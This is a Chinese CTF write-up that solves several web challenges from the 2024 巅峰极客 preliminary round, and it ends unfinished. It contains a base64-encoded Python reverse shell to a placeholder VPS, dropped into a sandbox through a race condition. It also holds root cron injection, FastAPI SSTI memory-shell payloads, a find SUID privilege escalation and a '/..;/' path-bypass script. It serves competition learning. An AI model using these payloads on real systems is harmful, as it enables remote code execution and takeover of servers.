巅峰极客2024-初赛-web-部分wp

可惜。

不多说了,看看吧。

php_online

审计一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets


app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []


@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
id = request.form['id']
if not id.isalnum() or len(id) != 8:
return '无效的ID'
session['id'] = id
if not os.path.exists(f'/sandbox/{id}'):
os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
return redirect(url_for('sandbox'))
return render_template('submit_id.html')


@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
if request.method == 'GET':
if 'id' not in session:
return redirect(url_for('index'))
else:
return render_template('submit_code.html')
if request.method == 'POST':
if 'id' not in session:
return 'no id'
user_id = session['id']
if user_id in working_id:
return 'task is still running'
else:
working_id.append(user_id)
code = request.form.get('code')
os.popen(f'cd /sandbox/{user_id} && rm *').read()
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()

php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()

result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
os.popen(f'cd /sandbox/{user_id} && rm *').read()
working_id.remove(user_id)

return result


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=80)

其实这道题不算难,做法也很多,共同点是利用rm *无法删除文件夹的性质,就可以实现在一个沙箱里条件竞争,把另一个沙箱的init.py重写,然后触发init.py。

我是用的重写init.py反弹shell,拿到www-data权限:

开个沙箱EDDIE123和EDDIE321,在沙箱EDDIE123中执行:

1
2
3
4
5
6
<?php
while(1){
system("rm /sandbox/EDDIE321/init.py && echo 'CmltcG9ydCBvczsKb3MucG9wZW4oImJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvdnBzL3BvcnQgMD4mMSciKQ==' | base64 -d > /sandbox/EDDIE321/init.py");
}

?>

while(1)是用作循环竞争,使得init.py必然能重写。

然后在EDDIE321中随便执行个echo,按照代码逻辑就能走到sudo -u www-data python3 init.py,从而实现反弹shell:

image-20240819154938430

ps -aux发现root权限开启了cron,那么我们就想到写定时任务进去,chmod 777 /flag然后读就完事了。

首先是把/etc/cron.d与另外一个沙箱(这里我还创了个EDDIECRY)软链接,从而下面创建phpcode的时候就能把定时任务写进去。

image-20240819163527316

即在EDDIECRY中写入:

1
2
# <?php system('sudo -l'); ?>
* * * * * root chmod 777 /flag

phpcode内容加了⼀句php system 执行sudo -l, 这个是为了阻塞脚本的执行, 使得cron有足够的时间调度计划任务。当然我们也试了while(1)的竞争,但是好像效果不太好emmm,其实也可以写<?php sleep(1000);?>这种达到效果。

此处当然也可以再次反弹shell,拿到的就是root权限。

等待一段时间,cat /flag就完了。

image-20240819163534524

GoldenHornKing

fastapi的ssti,不出网,过滤数字和%,无回显打内存马。

因为这里用的是fastapi,所以不能用add_url_rule添加内存马,得用add_api_route添加内存马:

1
2
3
4
5
6
7
8
9
10
import requests
url = 'http://eci
2ze870nxuud7kn92ktzy.cloudeci1.ichunqiu.com:8000/calc'
# url = 'http://127.0.0.1:8000/calc'
payload =
r'''app.routes[(dict(e=a)|join|count)].__class__.__init__.__builtins_
_['eval']("app.add_api_route('/shell', lambda x:
__import__('os').popen(x).read())", {'app':app})'''
resp = requests.get(url, params={'calc_req': payload})
print(resp.text)

payload有很多,也可以(来自[随手分享]2024巅峰极客初赛 部分Web (qq.com)

1
undefinded.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag',lambda:__import__('os').popen('cat /flag').read())")

然后访问 /shell?x=cat /flag就可以了。

这里其实还可以用静态目录的方法。

在 FastAPI 中,app.mount() 用来为静态文件指定一个路径。例如,通过 app.mount(“/static”, StaticFiles(directory=”static”), name=”static”) 将静态文件路径设置为 “static” 目录。

那么我们就可以尝试将静态文件目录改为根目录再读flag,payload来自2024巅峰极客挑战赛—WriteUp By EDISEC (qq.com)

1
app.mount('/static', lipsum.__globals__['__builtins__'].__import__('starlette.staticfiles').staticfiles.StaticFiles(directory='/'), name='static')

然后访问<url>/static/flag交了。

easy_java

黑盒,给了一个base64的反序列化入口,hint是jdk17+CB链。

如果只有个CB链当然很简单,工具都能一把梭。但是套了个jdk17。

看了NU1L战队的wp后,才知道实际上新版本commons-beanutils⼀般会同时带上commons collections

而且题目不出网,所以要打一个内存马进去。

题目会在反序列化前过滤org.apache开头的类, 但发现可以用utf-8 overlong encoding绕过。

utf-8 overlong encoding参考:

JYso/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java at master · qi4L/JYso (github.com)

所以如此打个CC链就出了。

EXP可在NU1L公众号里查看,这里就不给出了。

admin_Test

前台可以弱密码admin/qwe123!@#,但是也可以直接绕了。

访问/admin.html可以直接拿到文件上传的操作页面:

image-20240819174151906

fuzz一下执行命令处的ban位,发现可用字符为t、*、.、/以及各种数字。

这里容易想到临时文件执行,用到./t*/*的payload,直接就出了。

比如上传一个1.png,内容为

1
2
#!/bin/sh
whoami

执行命令处使用./t*/*,发现权限为ctf。

如法炮制,suid提权发现find可用,直接find提权交了:

1
2
#!/bin/sh
touch /tmp/test && find /tmp/test -exec cat /flag \;

old_api

又是jdk17。

这道其实挺可惜的,学长的本地docker通了,但是远程不出网,没来得及写内存马,所以没交上。

给了c3p0和h2的依赖,源码量很大,访问页面也就是api操作页面,审计源码发现v1的AdminController#importPost存在readObject,这里应该就是反序列化入口点。

image-20240819175127207

结合题目信息,很容易想到这道题两个步骤,第一步是绕过v2访问到v1的这个方法触发readObject,第二步是打H2的jdbc反序列化,这里用的就是Jackson-h2的链子。

而且jdk17一般来说都是出的JDBC打法,从几个月前的AliyunCTF-Chain17就可见一斑。

第一步绕过也不算太难,21级的SE学长给出了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

base = "http://localhost:8081/"

session = requests.Session()

r = session.post(base + "/public/register", data={"username": "test", "password": "test"})
print(r.status_code)

r = session.post(base + "/public/login", data={"username": "test", "password": "test"})
print(r.status_code)

r = session.post(base + "/..;/v1/admin/post/import", data={
"stream": "Sakura"
})
print(r.text)

也就是用/..;/v1/admin/post/import可以绕过。

接下来就是Jackson + H2的JDBC手法。

(未完待续)


巅峰极客2024-初赛-web-部分wp
https://eddiemurphy89.github.io/2024/08/17/巅峰极客2024-初赛-web-部分wp/
作者
EddieMurphy
发布于
2024年8月17日
许可协议